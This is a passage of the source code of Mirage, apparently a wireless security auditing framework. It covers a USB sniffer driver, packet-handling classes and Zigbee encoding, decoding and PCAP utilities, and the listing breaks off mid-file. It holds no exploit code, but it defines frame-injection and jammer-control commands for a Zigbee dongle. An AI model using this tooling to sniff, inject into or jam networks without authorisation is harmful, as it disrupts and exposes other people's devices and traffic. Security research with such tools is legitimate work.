Queue 5 | import usb 6 | 7 | # ButterRFly USB device Identifiers 8 | BUTTERFLY_ID_VENDOR = 0x5A17 9 | BUTTERFLY_ID_PRODUCT = 0x0000 10 | 11 | 12 | class ButterflyDevice(wireless.Device): 13 | ''' 14 | This device allows to communicate with a ButteRFly Device in order to sniff BLE, Zigbee or ESB. 15 | The corresponding interfaces are : ``butterflyX`` (e.g. "butterfly0") 16 | ''' 17 | sharedMethods = [ 18 | "getFirmwareVersion", 19 | "getDeviceIndex", 20 | "getController" 21 | ] 22 | 23 | 24 | def _send(self,command): 25 | self.lock.acquire() 26 | data = list(raw(command)) 27 | self.dongle.write(0x01, data) 28 | try: 29 | response = self.dongle.read(0x81,64) 30 | except usb.core.USBTimeoutError: 31 | response = b"" 32 | self.lock.release() 33 | if len(response) >= 5 and raw(command)[3:5] == bytes(response)[3:5]: 34 | responsePacket = Butterfly_Message_Hdr(bytes(response)) 35 | return responsePacket 36 | return None 37 | 38 | def _recv(self): 39 | self.lock.acquire() 40 | size = 0 41 | data = array('B',[0]*64) 42 | try: 43 | size = self.dongle.read(0x81,data,timeout=10) 44 | except usb.core.USBTimeoutError: 45 | pass 46 | self.lock.release() 47 | if size > 0: 48 | return Butterfly_Message_Hdr(bytes(data)[:size]) 49 | return None 50 | 51 | def recv(self): 52 | pkt = self._recv() 53 | if pkt is not None: 54 | return pkt 55 | return None 56 | 57 | def close(self): 58 | if self.controller != "NONE": 59 | self.disableController() 60 | 61 | 62 | def _enterListening(self): 63 | self.isListening = True 64 | 65 | def _exitListening(self): 66 | self.isListening = False 67 | 68 | def _isListening(self): 69 | return self.isListening 70 | 71 | def _internalCommand(self,command): 72 | cmd = Butterfly_Message_Hdr()/Butterfly_Command_Hdr()/command 73 | rsp = None 74 | found = False 75 | rsp = None 76 | while rsp is None: 77 | rsp = self._send(cmd) 78 | return rsp 79 | 80 | def selectController(self,controller): 81 | if controller == "BLE": 82 | self.controller = controller 83 | rsp = self._internalCommand(Butterfly_Select_Controller_Command(controller=0x00)) 84 | return rsp.status == 0x00 85 | return False 86 | 87 | def getController(self): 88 | ''' 89 | This method returns the controller used by the current Butterfly device. 90 | 91 | :return: controller in use 92 | :rtype: str 93 | 94 | 95 | :Example: 96 | 97 | >>> device.getController() 98 | 'BLE' 99 | 100 | .. note:: 101 | 102 | This method is a **shared method** and can be called from the corresponding Emitters / Receivers. 103 | ''' 104 | return self.controller 105 | 106 | def enableController(self): 107 | ''' 108 | This method enables the current controller. 109 | ''' 110 | self._internalCommand(Butterfly_Enable_Controller_Command()) 111 | 112 | def disableController(self): 113 | ''' 114 | This method disables the current controller. 115 | ''' 116 | self._internalCommand(Butterfly_Disable_Controller_Command()) 117 | 118 | def getFirmwareVersion(self): 119 | ''' 120 | This method returns the firmware version of the current Butterfly device. 121 | 122 | :return: firmware version as a tuple of (major, minor) 123 | :rtype: tuple of (int,int) 124 | 125 | :Example: 126 | 127 | >>> device.getFirmwareVersion() 128 | (1,0) 129 | 130 | .. note:: 131 | 132 | This method is a **shared method** and can be called from the corresponding Emitters / Receivers. 133 | 134 | ''' 135 | version = self._internalCommand(Butterfly_Get_Version_Command()) 136 | return (version.major,version.minor) 137 | 138 | def getDeviceIndex(self): 139 | ''' 140 | This method returns the index of the current Butterfly device. 141 | 142 | :return: device's index 143 | :rtype: int 144 | 145 | :Example: 146 | 147 | >>> device.getDeviceIndex() 148 | 0 149 | 150 | .. note:: 151 | 152 | This method is a **shared method** and can be called from the corresponding Emitters / Receivers. 153 | 154 | ''' 155 | return self.index 156 | 157 | def isUp(self): 158 | return self.dongle is not None 159 | 160 | 161 | def __init__(self,interface): 162 | super().__init__(interface=interface) 163 | if "butterfly" == interface: 164 | self.index = 0 165 | self.interface = "butterfly0" 166 | else: 167 | self.index = int(interface.split("butterfly")[1]) 168 | 169 | self.ready = False 170 | try: 171 | self.dongle = list(usb.core.find(idVendor=BUTTERFLY_ID_VENDOR, idProduct=BUTTERFLY_ID_PRODUCT,find_all=True))[self.index] 172 | self.dongle.set_configuration() 173 | self.isListening = False 174 | self.controller = "NONE" 175 | self.directions = [False,False,False] 176 | self.lock = Lock() 177 | self.responsesQueue = Queue() 178 | 179 | except: 180 | io.fail("No ButteRFly device found !") 181 | self.dongle = None 182 | 183 | def init(self): 184 | if self.dongle is not None: 185 | self.capabilities = [] 186 | self.ready = True 187 | else: 188 | self.ready = False 189 | -------------------------------------------------------------------------------- /mirage/libs/wireless_utils/callbacks.py: -------------------------------------------------------------------------------- 1 | import importlib 2 | 3 | class Callback: 4 | ''' 5 | This class is an internal representation of a specific callback. It is linked to an event. 6 | An event is a string, some examples are represented in the following table: 7 | 8 | +----------------------+-------------------------------+ 9 | | Event | Description | 10 | +======================+===============================+ 11 | | \* | every packet | 12 | +----------------------+-------------------------------+ 13 | | 3 | every 3 packets | 14 | +----------------------+-------------------------------+ 15 | | BLEReadRequest | every BLE Read Request | 16 | +----------------------+-------------------------------+ 17 | 18 | Some arguments can be passed to the constructor as parameters : 19 | * event : string indicating the event 20 | * function : function to run if the callback is triggered 21 | * args : unnamed arguments of the function 22 | * kwargs : named arguments of the function 23 | * background : boolean indicating if the function is launched in a background thread or in foreground 24 | ''' 25 | def __init__(self,event="*",function=None, args=[], kwargs={},background=True): 26 | if event == "*" or event.isdigit(): 27 | n = int(event) if event.isdigit() else 1 28 | self.eventType = "npackets" # this callback is triggered every n packets received 29 | self.count = n 30 | self.every = n 31 | else: 32 | self.eventType = "instanceof" # this callback is triggered if the received packet type is event 33 | self.instance = event 34 | self.parameters = {"args":args,"kwargs":kwargs} 35 | self.function = function 36 | self.background = background 37 | self.runnable = False 38 | 39 | 40 | def update(self, packet): 41 | ''' 42 | This method allows to update the callback's internal state by providing the current packet. 43 | If the packet received matchs the event defined, the attribute ``runnable`` is set to True. 44 | ''' 45 | self.runnable = False 46 | if packet is not None: 47 | if self.eventType == "npackets": 48 | self.count -= 1 49 | if self.count == 0: 50 | self.count = self.every 51 | self.runnable = True 52 | elif self.eventType == "instanceof": 53 | m = importlib.import_module(packet.__module__) 54 | if isinstance(packet, getattr(m, self.instance)): 55 | self.runnable = True 56 | 57 | 58 | def run(self,packet): 59 | ''' 60 | This method executes the function associated to the callback. 61 | ''' 62 | args = [packet] + self.parameters["args"] 63 | kwargs = self.parameters["kwargs"] 64 | self.function(*args, **kwargs) 65 | 66 | 67 | -------------------------------------------------------------------------------- /mirage/libs/wireless_utils/dissectors.py: -------------------------------------------------------------------------------- 1 | import copy 2 | 3 | class Dissector: 4 | ''' 5 | This class defines a dissector : it allows to easily convert a complex data structure to the corresponding raw bytes, or the raw bytes to the corresponding data structure. 6 | Every dissector must inherits from this class in order to provide the same API. 7 | 8 | A data structure is described as a dictionary, composed of one (or more) field(s) and stored in the ``content`` attribute. Every key of this dictionary can be manipulated as a standard attribute. 9 | The corresponding data is stored in the ``data`` attribute as a list of raw bytes. 10 | 11 | Two main methods have to be implemented : 12 | 13 | * **build** : this method converts the data structure to the corresponding raw bytes 14 | * **dissect** : this method converts the raw bytes to the corresponding data structure 15 | ''' 16 | def __init__(self,data=b"",length=-1,content={},*args, **kwargs): 17 | self.data = data 18 | if len(args)==1 and data==b"": 19 | self.data = args[0] 20 | 21 | self.length = length if length!=-1 else len(self.data) 22 | 23 | self.content = copy.copy(content) 24 | 25 | if self.data != b"": 26 | self.dissect() 27 | else: 28 | for k,v in kwargs.items(): 29 | self.content[k] = v 30 | self.build() 31 | 32 | def dissect(self): 33 | ''' 34 | This method converts the data structure to the corresponding raw bytes. 35 | 36 | :Example: 37 | 38 | >>> dissector.dissect() 39 | 40 | ''' 41 | 42 | self.content = {} 43 | 44 | def __getattr__(self, name): 45 | if name in self.content: 46 | return self.content[name] 47 | else: 48 | return None 49 | 50 | def __setattribute__(self,name,value): 51 | self.content[name] = value 52 | self.build() 53 | 54 | def __repr__(self): 55 | return self.__str__() 56 | 57 | def __eq__(self,other): 58 | return self.data == other.data or self.content == other.content 59 | 60 | def build(self): 61 | ''' 62 | This method converts the raw bytes to the corresponding data structure. 63 | 64 | :Example: 65 | 66 | >>> dissector.build() 67 | 68 | ''' 69 | 70 | self.data = b"" 71 | self.length = -1 72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /mirage/libs/wireless_utils/packetQueue.py: -------------------------------------------------------------------------------- 1 | import time,threading 2 | from queue import Queue 3 | from mirage.libs.utils import exitMirage 4 | 5 | class StoppableThread(threading.Thread): 6 | ''' 7 | This class is just a simplistic implementation of a stoppable thread. 8 | The target parameter allows to provide a specific function to run continuously in background. 9 | If the stop method is called, the thread is interrupted. 10 | ''' 11 | def __init__(self,target=None): 12 | super().__init__(target=target) 13 | self.daemon = True 14 | self.signal = True 15 | 16 | def run(self): 17 | try: 18 | while self.signal: 19 | self._target(*(self._args)) 20 | except: 21 | pass 22 | def stop(self): 23 | ''' 24 | This method stops the thread. 25 | ''' 26 | self.signal = False 27 | 28 | class PacketQueue: 29 | ''' 30 | This class implements a Packet (``mirage.libs.wireless_utils.packets.Packet``) queue, and provides an API to manipulate it. 31 | 32 | The Emitter class (``mirage.libs.wireless.Emitter``) and the Receiver class (``mirage.libs.wireless.Receiver``) inherit from it. 33 | The private method _task implements a watchdog, allowing to put or get some packets in the queue and manipulate them. This watchdog is called continuously thanks to a Stoppable Thread (``mirage.libs.wireless_utils.packetQueue.StoppableThread``). 34 | 35 | Some parameters may be passed to the constructor : 36 | * waitEmpty : it indicates if the queue should wait for an empty queue before stopping 37 | * autoStart : it indicates if the queue shoud start immediatly after the instanciation of the class 38 | ''' 39 | def __init__(self, waitEmpty = False, autoStart = True): 40 | self.waitEmpty = waitEmpty 41 | self.autoStart = autoStart 42 | self.queue = Queue() 43 | self.isStarted = False 44 | if self.isDeviceUp(): 45 | self.device.subscribe(self) 46 | self.daemonThread = None 47 | if autoStart: 48 | self.start() 49 | 50 | def isDeviceUp(self): 51 | ''' 52 | This method allow to check if the Device (``mirage.libs.wireless_utils.device.Device``) linked to this Packet Queue is up and running. 53 | ''' 54 | return hasattr(self,"device") and self.device is not None and self.device.isUp() 55 | 56 | def _createDaemonThread(self): 57 | self.daemonThread = StoppableThread(target = self._task) 58 | 59 | ''' 60 | def __del__(self): 61 | self.stop() 62 | ''' 63 | def start(self): 64 | ''' 65 | This method starts the associated stoppable thread in order to continuously call the watchdog function (_task). 66 | ''' 67 | if self.daemonThread is None: 68 | self._createDaemonThread() 69 | if not self.isStarted: 70 | self.daemonThread.start() 71 | self.isStarted = True 72 | 73 | 74 | def stop(self): 75 | ''' 76 | This method stops the associated stoppable thread. 77 | ''' 78 | if hasattr(self,"isStarted") and self.isStarted: 79 | if self.waitEmpty: 80 | while not self.isEmpty(): 81 | time.sleep(0.05) # necessary ? 82 | self.daemonThread.stop() 83 | self.daemonThread = None 84 | self.isStarted = False 85 | 86 | def restart(self): 87 | ''' 88 | This method restarts the associated stoppable thread. 89 | ''' 90 | self.stop() 91 | self.start() 92 | 93 | def isBusy(self): 94 | ''' 95 | This method indicates if the queue contains some datas. 96 | 97 | :return: boolean indicating if the queue contains some datas 98 | :rtype: bool 99 | ''' 100 | return not self.isEmpty() 101 | 102 | def isEmpty(self): 103 | ''' 104 | This method indicates if the queue is empty. 105 | 106 | :return: boolean indicating if the queue is empty 107 | :rtype: bool 108 | ''' 109 | return self.queue.empty() 110 | 111 | def clear(self): 112 | while not self.isEmpty(): 113 | self.queue.get(False) 114 | 115 | def _task(self): 116 | pass 117 | 118 | def __getattr__(self, name): 119 | if (name != "device" and hasattr(self.device, name) and 120 | (name in self.device.__class__.sharedMethods or name == "hasCapabilities")): 121 | return getattr(self.device,name) 122 | else: 123 | raise AttributeError 124 | -------------------------------------------------------------------------------- /mirage/libs/wireless_utils/packets.py: -------------------------------------------------------------------------------- 1 | from mirage.libs import io 2 | 3 | class AdditionalInformations: 4 | def __init__(self): 5 | pass 6 | def toString(self): 7 | return "???" 8 | def __str__(self): 9 | return self.toString() 10 | 11 | class Packet: 12 | ''' 13 | This class represents an abstract representation of a packet. 14 | It can be overloaded in order to implements the relevant packets for a given technology. 15 | 16 | By default, three attributes are included in a Packet : 17 | * name : it indicates the name of the packet 18 | * packet : it contains the raw representation of the packet (e.g. a bytes array or a scapy frame) 19 | * additionalInformations : it contains some external informations about a packet (e.g. frequency, timestamp ...) 20 | ''' 21 | def __init__(self, packet=None, additionalInformations = None): 22 | self.name = "Generic Packet" 23 | self.packet = packet 24 | self.additionalInformations = additionalInformations 25 | 26 | def toString(self): 27 | ''' 28 | This method allows to explicitely define how a packet is displayed if it is converted as a string. 29 | 30 | If this method is not overloaded, the packet is displayed as : 31 | * *<< name >>* if no additional informations are linked to this packet 32 | * *[ additionalInformations ] << name >>* if some additional informations are linked to this packet 33 | ''' 34 | return "<< "+self.name+" >>" 35 | 36 | def show(self): 37 | ''' 38 | This method allows to display the packet. 39 | ''' 40 | io.displayPacket(self) 41 | 42 | def __str__(self): 43 | return (("[ "+str(self.additionalInformations)+" ] ") if self.additionalInformations is not None else "")+self.toString() 44 | 45 | class WaitPacket(Packet): 46 | ''' 47 | This class represents a *fake* packet, allowing to force the Emitter to wait for a given specific time. 48 | It can be used if some timing constraints are needed for a given transmission. 49 | 50 | The time attribute indicates the waiting time needed. 51 | 52 | :Example: 53 | >>> packet = WaitPacket(time=1.0) 54 | >>> emitter.sendp(firstPacket,packet,lastPacket) # the emitter sends firstPacket, waits for one second and sends lastPacket 55 | ''' 56 | def __init__(self, time=0.0): 57 | super().__init__(self) 58 | self.name = "Generic - Waiting Packet" 59 | self.time = time 60 | 61 | def toString(self): 62 | return "<< "+self.name+" | time="+str(self.time)+"s >>" 63 | -------------------------------------------------------------------------------- /mirage/libs/zigbee_utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCayre/mirage/b6cd39eb779a94a11ebf9f7cba4e77435d885434/mirage/libs/zigbee_utils/__init__.py -------------------------------------------------------------------------------- /mirage/libs/zigbee_utils/chip_tables.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This file allows to manipulate Zigbee chips. 3 | ''' 4 | SYMBOL_TO_CHIP_MAPPING = [ 5 | {"symbols":"0000", "chip_values":"11011001110000110101001000101110","msk_values":"1100000011101111010111001101100"}, 6 | {"symbols":"1000", "chip_values":"11101101100111000011010100100010","msk_values":"1001110000001110111101011100110"}, 7 | {"symbols":"0100", "chip_values":"00101110110110011100001101010010","msk_values":"0101100111000000111011110101110"}, 8 | {"symbols":"1100", "chip_values":"00100010111011011001110000110101","msk_values":"0100110110011100000011101111010"}, 9 | {"symbols":"0010", "chip_values":"01010010001011101101100111000011","msk_values":"1101110011011001110000001110111"}, 10 | {"symbols":"1010", "chip_values":"00110101001000101110110110011100","msk_values":"0111010111001101100111000000111"}, 11 | {"symbols":"0110", "chip_values":"11000011010100100010111011011001","msk_values":"1110111101011100110110011100000"}, 12 | {"symbols":"1110", "chip_values":"10011100001101010010001011101101","msk_values":"0000111011110101110011011001110"}, 13 | {"symbols":"0001", "chip_values":"10001100100101100000011101111011","msk_values":"0011111100010000101000110010011"}, 14 | {"symbols":"1001", "chip_values":"10111000110010010110000001110111","msk_values":"0110001111110001000010100011001"}, 15 | {"symbols":"0101", "chip_values":"01111011100011001001011000000111","msk_values":"1010011000111111000100001010001"}, 16 | {"symbols":"1101", "chip_values":"01110111101110001100100101100000","msk_values":"1011001001100011111100010000101"}, 17 | {"symbols":"0011", "chip_values":"00000111011110111000110010010110","msk_values":"0010001100100110001111110001000"}, 18 | {"symbols":"1011", "chip_values":"01100000011101111011100011001001","msk_values":"1000101000110010011000111111000"}, 19 | {"symbols":"0111", "chip_values":"10010110000001110111101110001100","msk_values":"0001000010100011001001100011111"}, 20 | {"symbols":"1111", "chip_values":"11001001011000000111011110111000","msk_values":"1111000100001010001100100110001"} 21 | ] 22 | 23 | 24 | def OQPSKtoMSKsymbols(pn,order=["11","01","00","10"]): 25 | ''' 26 | This function allows to convert a given O-QPSK binary string to its equivalent MSK binary string. 27 | 28 | :param pn: sequence to convert (binary string) 29 | :type pn: str 30 | :param order: list of binary string describing the sequence of constellation symbols to use 31 | :type order: list of str 32 | :return: MSK binary string corresponding to the provided O-QPSK binary string 33 | :rtype: str 34 | 35 | .. note:: 36 | 37 | This function has been used to generate the SYMBOL_TO_CHIP_MAPPING dictionary. 38 | 39 | ''' 40 | liste = [] 41 | start_symbol = "11" 42 | index = order.index(start_symbol) 43 | for i in range(1,len(pn)): 44 | current = pn[i] 45 | if i % 2 == 1: # odd 46 | if order[(index+1)%len(order)][1] == current: 47 | index = (index + 1) % len(order) 48 | liste.append("1") 49 | else: 50 | index = (index - 1) % len(order) 51 | liste.append("0") 52 | else: # even 53 | if order[(index+1)%len(order)][0] == current: 54 | index = (index + 1) % len(order) 55 | liste.append("1") 56 | else: 57 | index = (index - 1) % len(order) 58 | liste.append("0") 59 | 60 | print(order[index]) 61 | return ''.join(liste) 62 | 63 | 64 | def hamming(sequence1, sequence2): 65 | ''' 66 | This function returns the hamming distance between two binary string. The two strings must have the same length. 67 | 68 | :param sequence1: first binary string 69 | :type sequence1: str 70 | :param sequence2: second binary string 71 | :type sequence2: str 72 | :return: hamming distance 73 | :rtype: int 74 | 75 | ''' 76 | if len(sequence1) == len(sequence2): 77 | count = 0 78 | for i in range(len(sequence1)): 79 | if sequence1[i] != sequence2[i]: 80 | count += 1 81 | return count 82 | else: 83 | return None 84 | 85 | def checkBestMatch(sequence,subtype="msk_values"): 86 | ''' 87 | This function explores the SYMBOL_TO_CHIP_MAPPING table and returns the best match (i.e. the symbol with the lowest hamming distance) for the provided sequence. 88 | 89 | :param sequence: binary string to analyze 90 | :type sequence: str 91 | :param subtype: string indicating if the comparison must be performed using MSK values or OQPSK values ("msk_values" or "chip_values") 92 | :type subtype: str 93 | :return: tuple composed of the best symbol and the corresponding hamming distance 94 | :rtype: (str, int) 95 | 96 | ''' 97 | min_hamming = hamming(sequence,SYMBOL_TO_CHIP_MAPPING[0][subtype]) 98 | best_match = SYMBOL_TO_CHIP_MAPPING[0]["symbols"] 99 | for i in SYMBOL_TO_CHIP_MAPPING[1:]: 100 | current = hamming(sequence,i[subtype]) 101 | if current <= min_hamming: 102 | min_hamming = current 103 | best_match = i["symbols"] 104 | return (best_match,min_hamming) 105 | -------------------------------------------------------------------------------- /mirage/libs/zigbee_utils/constants.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module contains some constants that are used by the Zigbee stack. 3 | ''' 4 | 5 | # USB device reset 6 | USBDEVFS_RESET = ord('U') << (4 * 2) | 20 7 | 8 | RZUSBSTICK_ID_VENDOR = 0x03eb 9 | RZUSBSTICK_ID_PRODUCT = 0x210a 10 | 11 | # USB Endpoints 12 | RZ_COMMAND_ENDPOINT = 0x02 13 | RZ_RESPONSE_ENDPOINT = 0x84 14 | RZ_PACKET_ENDPOINT = 0x81 15 | 16 | # USB Commands 17 | RZ_SET_MODE = 0x07 18 | RZ_SET_CHANNEL = 0x08 19 | RZ_OPEN_STREAM = 0x09 20 | RZ_CLOSE_STREAM = 0x0A 21 | RZ_INJECT_FRAME = 0x0D 22 | RZ_JAMMER_ON = 0x0E 23 | RZ_JAMMER_OFF = 0x0F 24 | 25 | # USB Responses 26 | RZ_RESP_SUCCESS = 0x80 27 | 28 | # RZ Modes 29 | RZ_MODE_AIRCAPTURE = 0x00 30 | RZ_MODE_NONE = 0x04 31 | 32 | # RZ Packet 33 | RZ_AIRCAPTURE_DATA = 0x50 34 | -------------------------------------------------------------------------------- /mirage/libs/zigbee_utils/decoders.py: -------------------------------------------------------------------------------- 1 | from mirage.libs.common.sdr.decoders import SDRDecoder 2 | from mirage.libs.zigbee_utils.chip_tables import * 3 | from mirage.libs.zigbee_utils.helpers import * 4 | 5 | class ZigbeeDecoder(SDRDecoder): 6 | ''' 7 | Software Defined Radio decoder for Zigbee protocol. 8 | ''' 9 | def __init__(self,samplesPerSymbol=1,samplesBefore=60 , samplesAfter=60,crcChecking=False, hammingThresold=5): 10 | self.samplesPerSymbol = samplesPerSymbol 11 | self.samplesBefore = samplesBefore 12 | self.samplesAfter = samplesAfter 13 | self.crcChecking = crcChecking 14 | self.hammingThresold = hammingThresold 15 | 16 | def setCRCChecking(self,enable=True): 17 | ''' 18 | This method enables CRC checking. 19 | 20 | :param enable: indicates if the CRC checking should be enabled or disabled 21 | :type enable: bool 22 | 23 | :Example: 24 | 25 | >>> decoder.setCRCChecking(True) 26 | 27 | ''' 28 | self.crcChecking = enable 29 | 30 | def decode(self,demodulatedData,iqSamples): 31 | hamming = 0 32 | zigbeeFrame = "" 33 | for i in range(0,len(demodulatedData),32): 34 | value,hamming = checkBestMatch(demodulatedData[i:i+31]) 35 | if hamming > self.hammingThresold: 36 | endOfFrame = i-1 37 | break 38 | else: 39 | zigbeeFrame += value 40 | 41 | newIqSamples = iqSamples[:self.samplesBefore+self.samplesPerSymbol*(len(demodulatedData[:endOfFrame]))+self.samplesPerSymbol+self.samplesAfter] 42 | zigbeeValidFrame = zigbeeFrame 43 | 44 | while "0000"*8 != zigbeeValidFrame[:4*8]: 45 | zigbeeValidFrame = "0000"+zigbeeValidFrame 46 | packet = bits2bytes(zigbeeValidFrame) 47 | 48 | if self.crcChecking: 49 | if (fcs(packet[6:-2]) == packet[-2:]): 50 | return (packet,newIqSamples) 51 | else: 52 | return (None,None) 53 | else: 54 | return (packet, newIqSamples) 55 | return (None, None) 56 | -------------------------------------------------------------------------------- /mirage/libs/zigbee_utils/encoders.py: -------------------------------------------------------------------------------- 1 | from mirage.libs.common.sdr.encoders import SDREncoder 2 | from mirage.libs.zigbee_utils.chip_tables import * 3 | 4 | 5 | class ZigbeeEncoder(SDREncoder): 6 | ''' 7 | Software Defined Radio encoder for Zigbee protocol. 8 | ''' 9 | def _getChips(self,bits): 10 | for i in SYMBOL_TO_CHIP_MAPPING: 11 | if bits == i["symbols"]: 12 | return i["chip_values"] 13 | return None 14 | 15 | def encode(self,data): 16 | if data[0] == 0xA7: 17 | data = b"\x00\x00\x00\x00" + data 18 | elif data[0] != 0x00: 19 | data = b"\x00\x00\x00\x00\xA7" + data 20 | bits = [] 21 | for i in bytes(data): 22 | byte = "{:08b}".format(i) 23 | bits += [byte[4:8][::-1], byte[0:4][::-1]] 24 | sequence = "" 25 | for bit in bits: 26 | sequence += self._getChips(bit) 27 | return sequence 28 | -------------------------------------------------------------------------------- /mirage/libs/zigbee_utils/helpers.py: -------------------------------------------------------------------------------- 1 | import struct 2 | ''' 3 | This module provides some helpers in order to manipulate Zigbee packets. 4 | ''' 5 | 6 | def frequencyToChannel(frequency): 7 | ''' 8 | This function converts a frequency to the corresponding Zigbee channel. 9 | 10 | :param frequency: frequency to convert (MHz) 11 | :type frequency: int 12 | :return: channel associated to the provided frequency 13 | :rtype: int 14 | 15 | :Example: 16 | 17 | >>> frequencyToChannel(2405) 18 | 11 19 | >>> frequencyToChannel(2420) 20 | 14 21 | 22 | ''' 23 | return int(((frequency - 2405)/5)+11) 24 | 25 | def channelToFrequency(channel): 26 | ''' 27 | This function converts a Zigbee channel to the corresponding frequency. 28 | 29 | :param channel: Zigbee channel to convert 30 | :type channel: int 31 | :return: corresponding frequency (MHz) 32 | :rtype: int 33 | 34 | :Example: 35 | 36 | >>> channelToFrequency(11) 37 | 2405 38 | >>> channelToFrequency(14) 39 | 2420 40 | 41 | ''' 42 | return 2405 + 5 * (channel - 11) 43 | 44 | 45 | def fcs(data): 46 | ''' 47 | This function calculates the 16 bits FCS corresponding to the data provided. 48 | 49 | :param data: packet's payload 50 | :type data: bytes 51 | 52 | :Example: 53 | 54 | >>> data=bytes.fromhex("2188013412ffff000000001200610d0a") 55 | >>> fcs(data).hex() 56 | '0b29' 57 | 58 | ''' 59 | crc = 0 60 | for i in range(0, len(data)): 61 | c = data[i] 62 | q = (crc ^ c) & 15 63 | crc = (crc // 16) ^ (q * 4225) 64 | q = (crc ^ (c // 16)) & 15 65 | crc = (crc // 16) ^ (q * 4225) 66 | return struct.pack(">> addressToString(0x1234) 80 | '0x1234' 81 | >>> addressToString(0x1122334455667788) 82 | '11:22:33:44:55:66:77:88' 83 | 84 | ''' 85 | try: 86 | if address <= 0xFFFF: 87 | return "0x"+'{:04x}'.format(address).upper() 88 | else: 89 | return ':'.join('{:02x}'.format(i).upper() for i in struct.pack('>Q',address)) 90 | except: 91 | return "0x????" 92 | 93 | def convertAddress(address): 94 | ''' 95 | This function is used to convert a Zigbee address to a standard format (integer). 96 | 97 | :param address: address to convert 98 | :type address: str or int or bytes 99 | :return: address in a standard format (integer) 100 | :rtype: int 101 | 102 | :Example: 103 | 104 | >>> convertAddress(0x1234) 105 | 4660 106 | >>> convertAddress(bytes.fromhex("1122334455667788")) 107 | 1234605616436508552 108 | 109 | ''' 110 | if address is None: 111 | return None 112 | else: 113 | if isinstance(address,str): 114 | return struct.unpack('>Q',bytes.fromhex(address.replace(":","")))[0] 115 | elif isinstance(address,int): 116 | return address 117 | elif isinstance(address,bytes): 118 | return struct.unpack('>H' if len(address) == 2 else '>Q',address)[0] 119 | else: 120 | return address 121 | 122 | 123 | def bits2bytes(bits): 124 | ''' 125 | This function converts a binary string to a sequence of bytes. 126 | 127 | :param bits: binary string to convert 128 | :type bits: str 129 | :return: equivalent sequence of bytes 130 | :rtype: bytes 131 | 132 | :Example: 133 | 134 | >>> bits2bytes("1111000001010101101010").hex() 135 | '0faa15' 136 | 137 | ''' 138 | return bytes([int(((8-len(j))*"0")+j,2) for j in [bits[i:i + 8][::-1] for i in range(0, len(bits), 8)]]) 139 | -------------------------------------------------------------------------------- /mirage/libs/zigbee_utils/pcap.py: -------------------------------------------------------------------------------- 1 | from mirage.libs.zigbee_utils.scapy_xbee_layers import * 2 | from mirage.libs.zigbee_utils.helpers import * 3 | from mirage.libs import wireless 4 | 5 | class ZigbeePCAPDevice(wireless.PCAPDevice): 6 | ''' 7 | This device allows to communicate with a PCAP file in order to write and read Zigbee packets. 8 | 9 | The corresponding interfaces are : ``.pcap`` (e.g. "out.pcap") 10 | 11 | * If the file exists, the ZigbeePCAPDevice is in *read* mode, and the corresponding receiver is able to use it as a classic Zigbee sniffer. 12 | * If the file doesn't exist, the ZigbeePCAPDevice is in *write* mode, and the corresponding emitter is able to write packets in the file. 13 | 14 | The following capabilities are actually supported : 15 | 16 | +-----------------------------------+----------------+ 17 | | Capability | Available ? | 18 | +===================================+================+ 19 | | SNIFFING | yes | 20 | +-----------------------------------+----------------+ 21 | | INJECTING | yes | 22 | +-----------------------------------+----------------+ 23 | | COMMUNICATING_AS_COORDINATOR | no | 24 | +-----------------------------------+----------------+ 25 | | COMMUNICATING_AS_ROUTER | no | 26 | +-----------------------------------+----------------+ 27 | | COMMUNICATING_AS_END_DEVICE | no | 28 | +-----------------------------------+----------------+ 29 | | JAMMING | no | 30 | +-----------------------------------+----------------+ 31 | 32 | .. warning:: 33 | 34 | This PCAP Device uses the DLT 195. 35 | 36 | ''' 37 | DLT = 195 38 | SCAPY_LAYER = Dot15d4 39 | sharedMethods = ["generateStream","setChannel","getChannel","getMode"] 40 | 41 | def init(self): 42 | super().init() 43 | self.capabilities = ["SNIFFING","INJECTING"] 44 | if self.mode == "read": 45 | self.startReading() 46 | 47 | def send(self,packet): 48 | if self.mode == "write": 49 | if self.SCAPY_LAYER is not None: 50 | packet = bytes(packet) + fcs(bytes(packet)) 51 | self.putPacket(packet) 52 | 53 | def generateStream(self): 54 | ''' 55 | This method generates a stream (i.e. a list of packets with the right inter frame spacing) from the PCAP file. 56 | 57 | :return: stream of packets 58 | :rtype: list 59 | 60 | 61 | :Example: 62 | 63 | >>> stream = device.generateStream() 64 | >>> device2.sendp(*stream) 65 | 66 | .. note:: 67 | 68 | This method is a **shared method** and can be called from the corresponding Emitters / Receivers. 69 | 70 | ''' 71 | if self.mode == "write": 72 | self.close() 73 | self.openFile() 74 | self.init() 75 | 76 | stream = [] 77 | currentTimestamp = None 78 | for timestamp,packet in self.getAllPackets(): 79 | if currentTimestamp is None: 80 | currentTimestamp = timestamp 81 | else: 82 | wait = (timestamp - currentTimestamp) 83 | stream.append(wireless.WaitPacket(time=wait)) 84 | currentTimestamp = timestamp 85 | 86 | stream.append(self.publish("convertRawToMiragePacket",packet)) 87 | return stream 88 | 89 | def getChannel(self): 90 | ''' 91 | This method allows to simulate the getChannel behaviour of a normal sniffer. 92 | 93 | :return: integer indicating an unknown channel (-1) 94 | :rtype: int 95 | 96 | 97 | :Example: 98 | 99 | >>> device.getChannel() 100 | -1 101 | 102 | .. note:: 103 | 104 | This method is a **shared method** and can be called from the corresponding Emitters / Receivers. 105 | 106 | ''' 107 | return -1 108 | 109 | def setChannel(self,channel): 110 | ''' 111 | This method allows to simulate the setChannel behaviour of a normal sniffer. 112 | 113 | :param channel: channel to set 114 | :type channel: int 115 | 116 | 117 | :Example: 118 | 119 | >>> device.getChannel() 120 | -1 121 | 122 | .. note:: 123 | 124 | This method is a **shared method** and can be called from the corresponding Emitters / Receivers. 125 | 126 | ''' 127 | pass 128 | -------------------------------------------------------------------------------- /mirage/libs/zigbee_utils/scapy_xbee_layers.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | ''' 4 | This module contains some scapy definitions for XBee packets. 5 | ''' 6 | 7 | 8 | class Xbee_Hdr(Packet): 9 | description = "XBee payload" 10 | fields_desc = [ 11 | ByteField("counter", None), 12 | ByteField("unknown", None) 13 | ] 14 | -------------------------------------------------------------------------------- /mirage/mirage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from mirage.core import app,argParser,loader 3 | from mirage.libs.utils import initializeHomeDir 4 | 5 | 6 | def main(): 7 | try: 8 | 